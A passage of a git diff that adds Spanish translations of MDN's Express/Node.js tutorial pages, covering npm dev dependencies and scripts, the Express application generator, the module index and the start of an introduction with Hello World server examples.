+</pre>
+ </li>
+ <li>Navega a la URL (<a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>). Sí todo esta funciona, el navegador simplemente debe mostrar la cadena de texto "Hello World".</li>
+</ol>
+
+<h3 id="Dependencias_de_Desarrollo">Dependencias de Desarrollo</h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Si una dependencia solo se usa durante el desarrollo, debe guardarla como una "dependencia de desarrollo" (para que los usuarios de su paquete no tengan que instalarla en producción).</span></span> <span class="tlid-translation translation" lang="es"><span title="">Por ejemplo, para usar la popular herramienta Linting JavaScript</span></span> <a href="http://eslint.org/">eslint</a> <span class="tlid-translation translation" lang="es"><span title="">llamaría a NPM como se muestra a continuación:</span></span></p>
+
+<pre class="brush: bash"><code>npm install eslint --save-dev</code></pre>
+
+<div class="text-wrap tlid-copy-target">
+<div class="result-shield-container tlid-copy-target"><span class="tlid-translation translation" lang="es"><span title="">La siguiente entrada se agregaría al <strong>paquete.json</strong> de su aplicación:</span></span></div>
+
+<div class="result-shield-container tlid-copy-target"></div>
+</div>
+
+<pre class="brush: js">  "devDependencies": {
+    "eslint": "^4.12.1"
+  }
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> "<a href="https://en.wikipedia.org/wiki/Lint_(software)">Linters</a>" <span class="tlid-translation translation" lang="es"><span title="">son herramientas que realizan análisis estáticos en el software para reconocer e informar la adhesión / no adhesión a algún conjunto de mejores prácticas de codificación.</span></span></p>
+</div>
+
+<h3 id="Ejecutando_tareas"><span class="tlid-translation translation" lang="es"><span title="">Ejecutando tareas</span></span></h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Además de definir y buscar dependencias, también puede definir scripts con nombre en sus archivos package.json y llamar a NPM para ejecutarlos con el comando</span></span> <a href="https://docs.npmjs.com/cli/run-script">run-script</a>. <span class="tlid-translation translation" lang="es"><span title="">Este enfoque se usa comúnmente para automatizar las pruebas en ejecución y partes de la cadena de herramientas de desarrollo o construcción (por ejemplo, ejecutar herramientas para minimizar JavaScript, reducir imágenes, LINT/analizar su código, etc.)</span></span>.<span class="tlid-translation translation" lang="es"> </span></p>
+
+<div class="note">
+<p><strong>Nota:</strong> <span class="tlid-translation translation" lang="es"><span title="">Los ejecutadores de tareas como</span></span> <a href="http://gulpjs.com/">Gulp</a> y <a href="http://gruntjs.com/">Grunt</a><span class="tlid-translation translation" lang="es"><span title=""> también se pueden usar para ejecutar pruebas y otras herramientas externas.</span></span></p>
+</div>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Por ejemplo, para definir un script para ejecutar la dependencia de desarrollo de <em>eslint </em>que especificamos en la sección anterior, podríamos agregar el siguiente bloque de script a nuestro archivo <strong>package.json</strong> (suponiendo que el origen de nuestra aplicación esté en una carpeta /src/js):</span></span></p>
+
+<pre class="brush: js">"scripts": {
+  ...
+  "lint": "eslint src/js"
+  ...
+}
+</pre>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Para explicar un poco más, <code>eslint src/js</code> es un comando que podríamos ingresar en nuestra línea de terminal/linea de comandos para ejecutar <code>eslint </code>en archivos JavaScript contenidos en el directorio <code>src/js</code> dentro de nuestro directorio de aplicaciones.</span> <span title="">Incluir lo anterior dentro del archivo package.json de nuestra aplicación proporciona un acceso directo para este comando: <code>lint</code>.</span></span></p>
+
+<p><br>
+ <span class="tlid-translation translation" lang="es"><span title="">Entonces podríamos ejecutar eslint usando NPM llamando a:</span></span></p>
+
+<pre class="brush: bash"><code>npm run-script lint
+# OR (using the alias)
+npm run lint</code>
+</pre>
+
+<div class="text-wrap tlid-copy-target">
+<div class="result-shield-container tlid-copy-target"><span class="tlid-translation translation" lang="es"><span title="">Es posible que este ejemplo no parezca más corto que el comando original, pero puede incluir comandos mucho más grandes dentro de sus scripts npm, incluidas cadenas de comandos múltiples.</span> <span title="">Puede identificar un solo script npm que ejecute todas sus pruebas a la vez.</span></span></div>
+</div>
+
+<h2 id="Instalando_Express_Application_Generator">Instalando Express Application Generator</h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">La herramienta</span></span> <a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> <span class="tlid-translation translation" lang="es"><span title="">genera un "esqueleto" de la aplicación Express.</span> <span title="">Instale el generador usando NPM como se muestra (el indicador <code>-g</code> instala la herramienta globalmente para que pueda llamarla desde cualquier lugar):</span></span></p>
+
+<pre><code>npm install express-generator -g</code></pre>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Para crear una aplicación <em>Express </em>llamada "helloworld" con la configuración predeterminada, navegue hasta donde desea crearla y ejecute la aplicación como se muestra:</span></span></p>
+
+<pre class="brush: bash">express helloworld</pre>
+
+<div class="note">
+<p><strong>Nota: </strong><span class="tlid-translation translation" lang="es"><span title="">También puede especificar la biblioteca de plantillas para usar y una serie de otras configuraciones.</span> <span title="">Use el comando <code>--help</code> para ver todas las opciones:</span></span></p>
+
+<pre class="brush: bash">express --help
+</pre>
+</div>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">NPM creará la nueva aplicación Express en una subcarpeta de su ubicación actual, mostrando el progreso de la compilación en la consola.</span> <span title="">Al finalizar, la herramienta mostrará los comandos que necesita ingresar para instalar las dependencias de Node e iniciar la aplicación.</span></span></p>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="es"><span title="">La nueva aplicación tendrá un archivo <strong>package.json</strong> en su directorio raíz.</span> <span title="">Puede abrir esto para ver qué dependencias están instaladas, incluidas Express y la biblioteca de plantillas Jade:</span></span></p>
+
+<pre class="brush: js">{
+  "name": "helloworld",
+  "version": "0.0.0",
+  "private": true,
+  "scripts": {
+    "start": "node ./bin/www"
+  },
+  "dependencies": {
+    "body-parser": "~1.18.2",
+    "cookie-parser": "~1.4.3",
+    "debug": "~2.6.9",
+    "express": "~4.15.5",
+    "jade": "~1.11.0",
+    "morgan": "~1.9.0",
+    "serve-favicon": "~2.4.5"
+  }
+}</pre>
+</div>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Instale todas las dependencias para la aplicación helloworld usando NPM como se muestra:</span></span></p>
+
+<pre class="brush: bash">cd helloworld
+npm install
+</pre>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Luego ejecute la aplicación (los comandos son ligeramente diferentes para Windows y Linux/macOS), como se muestra a continuación:</span></span></p>
+
+<pre class="brush: bash">#  <span class="tlid-translation translation" lang="es"><span title="">Ejecute helloworld en Windows con símbolo del sistema</span></span>
+<code>SET DEBUG=helloworld:* &amp; npm start</code>
+
+#  <span class="tlid-translation translation" lang="es"><span title="">Ejecute helloworld en Windows con PowerShell</span></span>
+SET DEBUG=helloworld:* | npm start
+
+#  <span class="tlid-translation translation" lang="es"><span title="">Ejecute helloworld en Linux/macOS</span></span>
+DEBUG=helloworld:* npm start
+</pre>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">El comando DEBUG crea registros útiles, lo que resulta en una salida como la que se muestra a continuación.</span></span></p>
+
+<pre class="brush: bash">&gt;SET DEBUG=helloworld:* &amp; npm start
+
+&gt; helloworld@0.0.0 start D:\Github\expresstests\helloworld
+&gt; node ./bin/www
+
+  helloworld:server Listening on port 3000 +0ms</pre>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Abra un navegador y navegue a</span></span> <a href="http://127.0.0.1:3000/">http://127.0.0.1:3000/</a> <span class="tlid-translation translation" lang="es"><span title="">para ver la página de bienvenida Express predeterminada.</span></span></p>
+
+<p><img alt="Express - Generated App Default Screen" src="https://mdn.mozillademos.org/files/14331/express_default_screen.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 675px;"></p>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Hablaremos más sobre la aplicación generada cuando lleguemos al artículo sobre la generación de una aplicación esqueleto.</span></span></p>
+
+<ul>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Ahora tiene un entorno de desarrollo de Node en funcionamiento en su computadora que puede usarse para crear aplicaciones web Express.</span> <span title="">También ha visto cómo se puede usar NPM para importar Express en una aplicación, y también cómo puede crear aplicaciones usando la herramienta Express Application Generator y luego ejecutarlas.</span><br>
+ <br>
+ <span title="">En el siguiente artículo, comenzaremos a trabajar a través de un tutorial para crear una aplicación web completa utilizando este entorno y las herramientas asociadas.</span></span></p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://nodejs.org/en/download/">Downloads</a> page (nodejs.org)</li>
+ <li><a href="https://nodejs.org/en/download/package-manager/">Installing Node.js via package manager</a> (nodejs.org)</li>
+ <li><a href="http://expressjs.com/en/starter/installing.html">Installing Express</a> (expressjs.com)</li>
+ <li><a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> (expressjs.com)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
diff --git a/files/es/learn/server-side/express_nodejs/index.html b/files/es/learn/server-side/express_nodejs/index.html
new file mode 100644
index 0000000000..2c224095c0
--- /dev/null
+++ b/files/es/learn/server-side/express_nodejs/index.html
@@ -0,0 +1,76 @@
+---
+title: Express Web Framework (Node.js/JavaScript)
+slug: Learn/Server-side/Express_Nodejs
+tags:
+  - Aplicaciones Web
+  - Aprendizaje
+  - Express
+  - Express.js
+  - JavaScript
+  - Node
+  - Novato
+  - Programación del lado del Servidor
+  - introducción
+  - programacion
+translation_of: Learn/Server-side/Express_Nodejs
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Express es un framework web transigente, escrito en JavaScript y alojado dentro del entorno de ejecución NodeJS. El modulo explica algunos de los beneficios clave de este framework, como configurar tu entorno de desarrollo y como realizar tareas comunes en desarrollo y publicación web.</p>
+
+<h2 id="Prerequisitos">Prerequisitos</h2>
+
+<p>Antes de empezar con este módulo necesitaras entender los conceptos de programación web en el lado del servidor y los frameworks, de preferencia leyendo acerca de estos temas en nuestro modulo <a href="/en-US/docs/Learn/Server-side/First_steps">Primeros pasos en la programación web del lado del servidor</a>. Un conocimiento general de conceptos de programación y JavaScript es altamente recomendado, pero no esencial para entender los conceptos básicos.</p>
+
+<div class="note">
+<p><strong>Nota</strong> : Esta web posee muchos recursos útiles para aprender JavaScript <em>en el contexto del desarrollo en el lado del cliente:</em>  <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">Guía de JavaScript</a>, <a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript Básico</a>, <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> (aprendizaje). El lenguaje JavaScript y sus conceptos son los mismos para el desarrollo en el lado del servidor en NodeJS y este material será relevante. NodeJS ofrece <a href="https://nodejs.org/dist/latest-v6.x/docs/api/">APIs adicionales</a> para soportar funcionalidades que son útiles en entornos sin navegador web, por ejemplo para crear servidores HTTP y acceder al sistema de archivos, pero no soportan APIs de JavaScript para trabajar con el navegador y el DOM.</p>
+
+<p>Esta guía proporciona información útil para trabajar con Node.js y Express, además hay numerosos y excelentes recursos en Internet y en libros - algunos de estos referenciados en <a href="http://stackoverflow.com/a/5511507/894359">Cómo empezar con Node.js</a> (Inglés - StackOverflow) y <a href="https://www.quora.com/What-are-the-best-resources-for-learning-Node-js?">¿Cuáles son los mejores recursos para aprender Node.js?</a> (Inglés - Quora).</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/es/docs/Learn/Server-side/Express_Nodejs/Introduction">Introducción a Express/Node </a></dt>
+ <dd>En el primer artículo de Express respondemos las preguntas "¿Qué es Node?" y "¿Qué es Express?" y te daremos una visión general de qué hace especial al framework web Express. Destacaremos las principales caracteristicas, y mostraremos algunos de los bloques principales de una aplicación Express (aunque en este punto aún no tendrás un entorno de desarrollo para probarlo).</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Preparando un entorno de desarrollo Node (Express)</a></dt>
+ <dd>Ahora que sabes para que sirve Express, te mostraremos como preparar y probar un entorno de desarrollo Node/Express en Windows, Linux (Ubuntu), y Mac OS X. Sin importar el sistema operativo que estes usando, este artículo te proporcionará lo que necesites para empezar a desarrollar aplicaciones Express.</dd>
+ <dt><strong><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial Express: la web de Librería local</a></strong></dt>
+ <dd>El primer artículo en nuestra serie de tutoriales prácticos en los que se explica lo que aprenderás así como una breve introducción al proyecto de <em>"Librería local", </em>que será en el que trabajaremos y desarrollaremos a lo largo de la serie.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Tutorial Express 2: Creando el esqueleto de un sitio web</a> </dt>
+ <dd>Este artículo muestra cómo puede crear el "esqueleto" de un proyecto web, al cual podremos ir agregando nuestras rutas específicas para el sitio, plantillas/vistas, y bases de datos.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Tutorial Express  3: Usando una base de datos (con Mongoose)</a></dt>
+ <dd>Este artículo nos introducirá brevemente en las bases de datos para Node/Express. Entonces nos mostrara como podemos usar <a href="http://mongoosejs.com/">Mongoose</a> para agregar acceso a una base de datos para el sitio web LocalLibrary. Explica como son declarados los objetos de esquema y modelos, los principales tipos para los campos, y validación básica. También mostrara brevemente algunas de las principales formas con las que puedes acceder a los modelos de datos.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Tutorial Express 4: Rutas y controladores</a></dt>
+ <dd>En este tutorial prepararemos las rutas (URL handling code) con un manejador de funciones "dummy" para todos los puntos de obtención de recursos que iremos a necesitar en nuestra web LocalLibrary. Al finalizar, tendremos una estructura modular para manejar nuestro código manejador de rutas, que podremos extender con funciones manejadoras reales en los artículos siguientes. También tendremos un muy buen entendimiento de cómo crear rutas modulares usando Express.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Tutorial Express 5: Mostrado datos de la librería</a></dt>
+ <dd>Ahora estamos listos para añadir paginas donde mostrar los libros de LocalLibrary y otros datos. Las paginas incluirán una página de inicio que muestre cuantos elementos tenemos de cada tipo de modelo, y páginas de lista y detalles para todos nuestros modelos. En el camino iremos ganando experiencia práctica en obtener elementos de la base de datos, y usando plantillas.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Tutorial Express 6: Trabajando con formularios</a></dt>
+ <dd>En este tutorial mostraremos como trabajar con <a href="/en-US/docs/Web/Guide/HTML/Forms">formularios HTML</a> en Express, usando Pug, y en particular como escribir formularios para crear, actualizar y borrar documentos en la base de datos.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Tutorial Express 7: Desplegando para producción</a></dt>
+ <dd>Ahora que has creado una increíble web llamada LocalLibrary, la querrás instalar en un servidor web público para que pueda acceder a ella el personal de la librería y los usuarios por Internet. Este artículo te ofrece una visión general de como deberías buscar un alojamiento para tu página web, y que necesitas para tener tu sitio listo para producción.</dd>
+ <dd> </dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">Instalando LocalLibrary en PWS/Cloud Foundry</a></dt>
+ <dd>Este artículo nos da una demonstración práctica de cómo instalar <em>LocalLibrary</em> en la <a href="http://run.pivotal.io">nube Pivotal Web Services PaaS</a> — ésta es una alternativa, muy completa y de código libre, a Heroku, el servicio en la nube PaaS es usado en la parte 7 de este tutorial, listado más adelante. PWS/Cloud Foundry es un recurso digno de revisar si estás en busca de una alternativa a Heroku ( o cualquier otro servicio en la nube PaaS), o simplemente si tienes ganas de intentar algo diferente.</dd>
+</dl>
+
+<h2 id="Añadiendo_mas_tutoriales">Añadiendo mas tutoriales</h2>
+
+<div>
+<p>Este es el final de los tutoriales (por ahora). Si quisieras extenderlos, hay otros temas interesantes por tratar como:</p>
+
+<ul>
+ <li>Uso de sesiones.</li>
+ <li>Autenticación de usuarios.</li>
+ <li>Autorizaciones y permisos de usuario.</li>
+ <li>Probando una aplicación web Express.</li>
+ <li>Seguridad web para aplicaciones web Express.</li>
+</ul>
+
+<p>Y por supuesto, ¡seria excelente tener una tarea de evaluación!</p>
+</div>
diff --git a/files/es/learn/server-side/express_nodejs/introduction/index.html b/files/es/learn/server-side/express_nodejs/introduction/index.html
new file mode 100644
index 0000000000..d607c0dd0f
--- /dev/null
+++ b/files/es/learn/server-side/express_nodejs/introduction/index.html
@@ -0,0 +1,498 @@
+---
+title: Introducción a Express/Node
+slug: Learn/Server-side/Express_Nodejs/Introduction
+tags:
+  - Aprender
+  - Express
+  - MDN
+  - Node
+  - Servidor
+  - javascri
+  - lado del servidor
+  - nodejs
+translation_of: Learn/Server-side/Express_Nodejs/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Aprendizaje/Lado-Servidor/Express_Nodejs/Ambiente-Desarrollo", "Aprendizaje/Lado-Servidor/Express_Nodejs")}}</div>
+
+<p class="summary">En este primer articulo de Express resolveremos las preguntas "¿Qué es Node?" y "¿Qué es Express?", y te daremos una visión general de que hace especial al framework web "Express". Delinearemos las características principales, y te mostraremos algunos de los principales bloques de construcción de una aplicación en Express (aunque en este punto no tendrás todavía un entorno de desarrollo en que probarlo).</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td>
+    <p>Conocimientos básicos de informática. Noción general sobre <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos">programación lado servidor de sitios web</a>, y en particular los mecanismos de las interacciones <a href="/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">cliente-servidor en sitios web</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>
+    <p>Ganar familiaridad con lo que es Express y cómo encaja con Node, qué funcionalidad proporciona y los pilares de construcción de una aplicación Express.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_son_Express_y_Node">¿Qué son Express y Node?</h2>
+
+<p><a href="https://nodejs.org/">Node</a> (o más correctamente: <em>Node.js</em>) es un entorno que trabaja en tiempo de ejecución, de código abierto, multi-plataforma, que permite a los desarrolladores crear toda clase de herramientas de lado servidor y aplicaciones en <a href="/es/docs/Glossary/JavaScript">JavaScript</a>. La ejecución en tiempo real está pensada para usarse fuera del contexto de un explorador web (es decir, ejecutarse directamente en una computadora o sistema operativo de servidor). Como tal, el entorno omite las APIs de JavaScript específicas del explorador web y añade soporte para APIs de sistema operativo más tradicionales que incluyen HTTP y bibliotecas de sistemas de ficheros.</p>
+
+<p>Desde una perspectiva de desarrollo de servidor web, Node tiene un gran número de ventajas:</p>
+
+<ul>
+ <li>¡Gran rendimiento! <em>Node</em> ha sido diseñado para optimizar el rendimiento y la escalabilidad en aplicaciones web y es un muy buen complemento para muchos problemas comunes de desarrollo web (ej, aplicaciones web en tiempo real).</li>
+ <li>El código está escrito en "simple JavaScript", lo que significa que se pierde menos tiempo ocupándose de las "conmutaciones de contexto" entre lenguajes cuando estás escribiendo tanto el código del explorador web como del servidor.</li>
+ <li>JavaScript es un lenguaje de programación relativamente nuevo y se beneficia de los avances en diseño de lenguajes cuando se compara con otros lenguajes de servidor web tradicionales (ej, Python, PHP, etc.) Muchos otros lenguajes nuevos y populares se compilan/convierten a JavaScript de manera que puedes también usar CoffeeScript, ClosureScript, Scala, LiveScript, etc.</li>
+ <li>El gestor de paquetes de <em>Node</em> (NPM del inglés: Node Packet Manager) proporciona acceso a cientos o miles de paquetes reutilizables. Tiene además la mejor en su clase resolución de dependencias y puede usarse para automatizar la mayor parte de la cadena de herramientas de compilación.</li>
+ <li>Es portable, con versiones que funcionan en Microsoft Windows, OS X, Linux, Solaris, FreeBSD, OpenBSD, WebOS, y NonStop OS. Además, está bien soportado por muchos de los proveedores de hospedaje web, que proporcionan infraestructura específica y documentación para hospedaje de sitios <em>Node</em>.</li>
+ <li>Tiene un ecosistema y comunidad de desarrolladores de terceros muy activa, con cantidad de gente deseosa de ayudar.</li>
+</ul>
+
+<p>Puedes crear de forma sencilla un servidor web básico para responder cualquier petición simplemente usando el paquete HTTP de <em>Node</em>, como se muestra abajo. Este, creará un servidor y escuchará cualquier clase de peticiones en la URL <code>http://127.0.0.1:8000/</code>; cuando se reciba una petición, se responderá enviando en texto la respuesta: "Hola Mundo!".</p>
+
+<pre class="brush: js notranslate">// Se carga el módulo de HTTP
+var http = require("http");
+
+// Creación del servidor HTTP, y se define la escucha
+// de peticiones en el puerto 8000
+http.createServer(function(request, response) {
+
+   // Se define la cabecera HTTP, con el estado HTTP (OK: 200) y el tipo de contenido
+   response.writeHead(200, {'Content-Type': 'text/plain'});
+
+   // Se responde, en el cuerpo de la respuesta con el mensaje "Hello World"
+   response.end('Hola Mundo!\n');
+}).listen(8000);
+
+// Se escribe la URL para el acceso al servidor
+console.log('Servidor en la url http://127.0.0.1:8000/');</pre>
+
+<p>Otras tareas comunes de desarrollo web no están directamente soportadas por el mismo <em>Node</em>. Si quieres añadir el manejo específico de diferentes verbos HTTP (ej, <code>GET</code>, <code>POST</code>, <code>DELETE</code>, etc.), gestionar de forma separada las peticiones por medio de diferentes direcciones URL ("rutas"), servir ficheros estáticos o usar plantillas para crear la respuesta de forma dinámica, necesitarás escribir el código por tí mismo, o ¡puedes evitar reinventar la rueda usando un framework web!</p>
+
+<p><a href="https://expressjs.com/">Express</a> es el framework web más popular de <em>Node</em>, y es la librería subyacente para un gran número de otros <a href="https://expressjs.com/en/resources/frameworks.html">frameworks web de Node</a> populares. Proporciona mecanismos para:</p>
+
+<ul>
+ <li>Escritura de manejadores de peticiones con diferentes verbos HTTP en diferentes caminos URL (rutas).</li>
+ <li>Integración con motores de renderización de "vistas" para generar respuestas mediante la introducción de datos en plantillas.</li>
+ <li>Establecer ajustes de aplicaciones web como qué puerto usar para conectar, y la localización de las plantillas que se utilizan para renderizar la respuesta.</li>
+ <li>Añadir procesamiento de peticiones "middleware" adicional en cualquier punto dentro de la tubería de manejo de la petición.</li>
+</ul>
+
+<p>A pesar de que <em>Express</em> es en sí mismo bastante minimalista, los desarrolladores han creado paquetes de middleware compatibles para abordar casi cualquier problema de desarrollo web. Hay librerías para trabajar con cookies, sesiones, inicios de sesión de usuario, parámetros URL, datos <code>POST</code>, cabeceras de seguridad y <em>muchos</em> más. Puedes encontrar una lista de paquetes middleware mantenida por el equipo de Express en <a href="https://expressjs.com/es/resources/middleware.html">Express Middleware</a> (junto con una lista de algunos de los paquetes más populares de terceros).</p>
+
+<div class="note">
+<p><strong>Nota:</strong> esta flexibilidad es una espada de doble filo. Hay paquetes de middleware para abordar casi cualquier problema o requerimiento, pero deducir cuáles son los paquetes adecuados a usar algunas veces puede ser un auténtico reto. Tampoco hay una "forma correcta" de estructurar una aplicación, y muchos ejemplos que puedes encontrar en la Internet no son óptimos, o sólo muestran una pequeña parte de lo que necesitas hacer para desarrollar una aplicación web.</p>
+</div>
+
+<h2 id="¿Dónde_comenzó">¿Dónde comenzó?</h2>
+
+<p><em>Node</em> fué lanzado inicialmente, sólo para Linux, en 2009. El gestor de paquetes NPM fué lanzado en 2010, y el soporte nativo para Windows fue añadido en 2012. La versión actual LTS (Long Term Suppport) es Node v12.18.0 mientras que la última versión es Node 14.4.0. Ésto es sólo una pequeña foto de una historia muy rica; profundiza en <a href="https://en.wikipedia.org/wiki/Node.js#History">Wikipedia</a> si quieres saber más).</p>
+
+<p><em>Express</em> fue lanzado inicialmente en Noviembre de 2010 y está ahora en la versión 4.17.1 de la API. Puedes comprobar en el <a href="https://expressjs.com/en/changelog/4x.html">changelog</a> la información sobre cambios en la versión actual, y en <a href="https://github.com/expressjs/express/blob/master/History.md">GitHub</a> notas de lanzamiento históricas más detalladas.</p>
+
+<h2 id="¿Qué_popularidad_tiene_NodeExpress">¿Qué popularidad tiene Node/Express?</h2>
+
+<p>La popularidad de un framework web es importante porque es un indicador de se continuará manteniendo y qué recursos tienen más probabilidad de estar disponibles en términos de documentación, librerías de extensiones y soporte técnico.</p>
+
+<p>No existe una medida disponible de inmediato y definitiva de la popularidad de los frameworks de lado servidor (aunque sitios como <a href="http://hotframeworks.com/">Hot Frameworks</a> intentan asesorar sobre popularidad usando mecanismos como contar para cada plataforma el número de preguntas sobre proyectos en GitHub y StackOverflow). Una pregunta mejor es si Node y Express son lo "suficientemente populares" para evitar los problemas de las plataformas menos populares. ¿Continúan evolucionando? ¿Puedes conseguir la ayuda que necesitas? ¿Hay alguna posibilidad de que consigas un trabajo remunerado si aprendes Express?</p>
+
+<p>De acuerdo con el número de <a href="https://expressjs.com/en/resources/companies-using-express.html">compañías de perfil alto</a> que usan Express, el número de gente que contribuye al código base, y el número de gente que proporciona soporte tanto libre como pagado, podemos entonces decir que sí, !<em>Express</em> es un framework popular!</p>
+
+<h2 id="¿Es_Express_dogmático">¿Es Express dogmático?</h2>
+
+<p>Los frameworks web frecuentemente se refieren a sí mismos como "dogmáticos" ("<em>opinionated</em>") o "no dogmáticos" ("<em>unopinionated</em>").</p>
+
+<p>Los frameworks dogmáticos son aquellos que opinan acerca de la "manera correcta" de gestionar cualquier tarea en particular. Ofrecen soporte para el desarrollo rápido en un <em>dominio en particular</em> (resolver problemas de un tipo en particular) porque la manera correcta de hacer cualquier cosa está generalmente bien comprendida y bien documentada. Sin embargo pueden ser menos flexibles para resolver problemas fuera de su dominio principal, y tienden a ofrecer menos opciones para elegir qué componentes y enfoques pueden usarse.</p>
+
+<p>Los framewoks no dogmáticos, en contraposición, tienen muchas menos restricciones sobre el modo mejor de unir componentes para alcanzar un objetivo, o incluso qué componentes deberían usarse. Hacen más fácil para los desarrolladores usar las herramientas más adecuadas para completar una tarea en particular, si bien al coste de que necesitas encontrar esos componentes por tí mismo.<br>
+ <br>
+ Express es no dogmático, transigente. Puedes insertar casi cualquier middleware compatible que te guste dentro de la cadena de manejo de la petición, en casi cualquier orden que te apetezca. Puedes estructurar la app en un fichero o múltiples ficheros y usar cualquier estructura de directorios. ¡Algunas veces puedes sentir que tienes demasiadas opciones!</p>
+
+<h2 id="¿Cómo_es_el_código_para_Express">¿Cómo es el código para Express?</h2>
+
+<p>En sitios web o aplicaciones web dinámicas, que accedan a bases de datos, el servidor espera a recibir peticiones HTTP del navegador (o cliente). Cuando se recibe una petición, la aplicación determina cuál es la acción adecuada correspondiente, de acuerdo a la estructura de la URL y a la información (opcional) indicada en la petición con los métodos <code>POST</code> o <code>GET</code>. Dependiendo de la acción a realizar, puede que se necesite leer o escribir en la base de datos, o realizar otras acciones necesarias para atender la petición correctamente. La aplicación ha de responder al navegador, normalmente, creando una página HTML dinámicamente para él, en la que se muestre la información pedida, usualmente dentro de un elemento especifico para este fin, en una plantilla HTML.</p>
+
+<p><em>Express</em> posee métodos para especificar que función ha de ser llamada dependiendo del verbo HTTP usado en la petición (<code>GET</code>, <code>POST</code>, <code>SET</code>, etc.) y la estructura de la URL ("ruta"). También tiene los métodos para especificar que plantilla ("view") o gestor de visualización utilizar, donde están guardadas las plantillas de HTML que han de usarse  y como  generar la visualización adecuada para cada caso. El middleware de <em>Express</em>, puede usarse también para añadir funcionalidades para la gestión de cookies, sesiones y usuarios, mediante el uso de parámetros, en los métodos <code>POST</code>/<code>GET</code>.  Puede utilizarse además cualquier sistema de trabajo con bases de datos, que sea soportado por <em>Node</em> (<em>Express</em> no especifica ningún método preferido para trabajar con bases de datos). </p>
+
+<p>En las siguientes secciones, se explican algunos puntos comunes que se pueden encontrar cuando se trabaja con código de <em>Node</em> y <em>Express</em>.</p>
+
+<h3 id="Hola_Mundo!_-_en_Express">Hola Mundo! - en Express</h3>
+
+<p>Primero consideremos el tradicional ejemplo de <a href="https://expressjs.com/en/starter/hello-world.html">Hola Mundo!</a> (se comentará cada parte a continuación).</p>
+
+<div class="note">
+<p><strong>Consejo:</strong> Si tiene <em>Node</em> y <em>Express</em> instalado (o piensa instalarlos posteriormente) puede guardar este código en un archivo llamado <strong>app.js</strong> y ejecutarlo posteriormente en la linea de comandos invocándolo mediante: <code>node app.js</code>. </p>
+</div>
+
+<pre class="brush: js notranslate">var express = require('express');
+var app = express();
+
+<strong>app.get('/', function(req, res) {
+  res.send('Hola Mundo!');
+});</strong>
